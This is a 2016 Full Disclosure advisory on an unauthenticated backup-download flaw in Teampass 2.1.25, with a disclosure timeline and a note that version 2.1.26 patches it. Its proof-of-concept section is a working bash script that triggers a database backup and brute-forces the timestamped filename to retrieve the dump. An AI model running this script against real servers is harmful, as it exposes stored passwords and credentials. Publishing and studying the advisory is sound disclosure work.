[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[FD] Teampass v2.1.25 - Unauthenticated Access Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Teampass v2.1.25 - Unauthenticated Access Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Wed, 25 May 2016 10:48:48 +0200
Document Title:
===============
Teampass v2.1.25 - Unauthenticated Access Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1844
Release Date:
=============
2016-05-18
Vulnerability Laboratory ID (VL-ID):
====================================
1844
Common Vulnerability Scoring System:
====================================
6.8
Product & Service Introduction:
===============================
TeamPass is a Passwords Manager dedicated for managing passwords in a
collaborative way on any server Apache,
MySQL and PHP. It is especially designed to provide passwords access security
for allowed people.
(Copy of the Homepage: http://teampass.net/ )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered multiple
vulnerabilities in the official Teampass v2.1.25 application.
Vulnerability Disclosure Timeline:
==================================
2016-05-11: Researcher Notification & Coordination (Peter Kok)
2016-05-12 Vendor Notification (Teampass Security Team)
2016-05-12: Vendor Response/Feedback (Teampass Security Team)
2016-05-13: Vendor Fix/Patch (Teampass Developer Team)
2016-05-18: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Nils Laumaillé
Product: Teampass Password Manager - Online Service (Web-Application) 2.1.25
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
An unauthenticated access vulnerability has been discovered in the official
Teampass v2.1.25 application.
The vulnerability allows remote attacker unauthenticated access to sensitive
database management system information.
The script /backups/script.backup.php allows administrators to create database
backups. There are 3 problems with this script ...
- there is no authentication needed to run the script
- the backups are stored within the webroot in the /backups directory
- the name of the backup is predictable as it uses the name bck_cpassman-[epoch
time].sql by default
These backup contains all lot of sensitive data. Usernames, hashed passwords,
description fields with information, etc..
As most of the passwords inserted by users are hashed, some are visible in
clear text like:
- the database password
- in the teampass_misc table there are clear text password for smtp and ldap
connections
The security risk of the vulnerability is estimated as high with a cvss (common
vulnerability scoring system) count of 6.8.
Exploitation of the security web vulnerability requires no privileged
web-application user account and user interaction.
Successful exploitation of the vulnerability results in unauthenticated access
of dumps and physical database information.
Vulnerable Module(s):
[+] ./backups/
Vulnerable File(s):
[+] script.backup.php
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without user interaction
or privileged user account.
For security demonstration or to reproduce the issue follow the provided
information and steps below to continue.
PoC: Exploit
#!/bin/bash
#/backups/script.backup.php in Teampass 2.1.25 and earlier allows
unauthenticated access
# Default Teampass database backup filename is bck_cpassmann-[current epoch
time].sql and
# is stored in the backups directory.
# Only thing we have to do is get the epoch time at which the database backup
was generated.
# First the script gets the server time from the index.php page, runs the
script.backup.php
# to create the backup and again gets the current server time from the
index.php.
# As we now know in which period the backup is created we can guess the filename
BACKUPFILENAME=bck_cpassman
if [ ! "$1" ]
then
echo "Usage: $0 [url] [options]"
echo -e "nOptions:"
echo -e "t--increase increase timezone until backup is
found(default)"
echo -e "t--decrease decrease timezone until backup is found"
exit 0
fi
#get current server time from login page before generating the backup
S_SERVERTIME=$(curl -k -s $1/|grep "fa fa-clock-o"|rev|awk '{ print $1 }' |rev)
S_EPOCHTIME=$(date +%s -d "$S_SERVERTIME")
#generate backup
curl -k $1/backups/script.backup.php
#get current server time from login page after generating the backup
E_SERVERTIME=$(curl -k -s $1/|grep "fa fa-clock-o"|rev|awk '{ print $1 }' |rev)
E_EPOCHTIME=$(date +%s -d "$E_SERVERTIME")
while :
do
i=$(($S_EPOCHTIME))
while [ $i -le $E_EPOCHTIME ]
do
echo -n "Trying to download $1/backups/$BACKUPFILENAME-$i.sql
"
curl -k -s -f --output /dev/null
$1/backups/$BACKUPFILENAME-$i.sql && echo "[+] DATABASE BACKUP FOUND!" &&
FOUND=1 || echo "[-] not available"
if [ "$FOUND" == "1" ]
then
echo -e "n>>> Database backup available at:
$1/backups/$BACKUPFILENAME-$i.sql <<<nn"
exit 0
fi
i=$(($i+1))
done
if [ "$FOUND" != "1" ] && [ "$2" == "--decrease" ]
then
S_EPOCHTIME=$(($S_EPOCHTIME-3600))
E_EPOCHTIME=$(($E_EPOCHTIME-3600))
echo "Testing with different timezone($(date -d @$S_EPOCHTIME))"
elif [ "$FOUND" != "1" ]
then
S_EPOCHTIME=$(($S_EPOCHTIME+3600))
E_EPOCHTIME=$(($E_EPOCHTIME+3600))
echo "Testing with different timezone($(date -d @$S_EPOCHTIME))"
fi
done
exit 0
Solution - Fix & Patch:
=======================
Note: The manufacturer fixed the vulnerability and an update is available for
download in version 2.1.26.
URL: http://teampass.net/2016-05-13-release-2.1.26
Security Risk:
==============
The security risk of the vulnerabilities in the teampass application are
estimated as high. (CVSS 6.8)
Credits & Authors:
==================
Peter Kok - [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied,
including the warranties of merchantability and capability for a particular
purpose. Vulnerability-Lab or its suppliers are not liable in any case of
damage,
including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised
of the possibility of such damages. Some states do not allow the exclusion or
limitation of liability for consequential or incidental damages so the
foregoing
limitation may not apply. We do not approve or encourage anybody to break any
licenses, policies, deface websites, hack into databases or trade with stolen
data.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
- www.evolution-sec.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx -
research@xxxxxxxxxxxxxxxxxxxxx -
admin@xxxxxxxxxxxxxxxxx
Section: magazine.vulnerability-lab.com -
vulnerability-lab.com/contact.php -
evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab
- youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php -
vulnerability-lab.com/rss/rss_upcoming.php -
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php -
vulnerability-lab.com/list-of-bug-bounty-programs.php -
vulnerability-lab.com/register.php
Any modified copy or reproduction, including partially usages, of this file
requires authorization from Vulnerability Laboratory. Permission to
electronically
redistribute this alert in its unmodified form is granted. All other rights,
including the use of other media, are reserved by Vulnerability-Lab Research
Team or
its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific
authors or managers. To record, list, modify, use or edit our material contact
(admin@ or research@xxxxxxxxxxxxxxxxxxxxx) to get a ask permission.
Copyright © 2016 | Vulnerability Laboratory
- [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/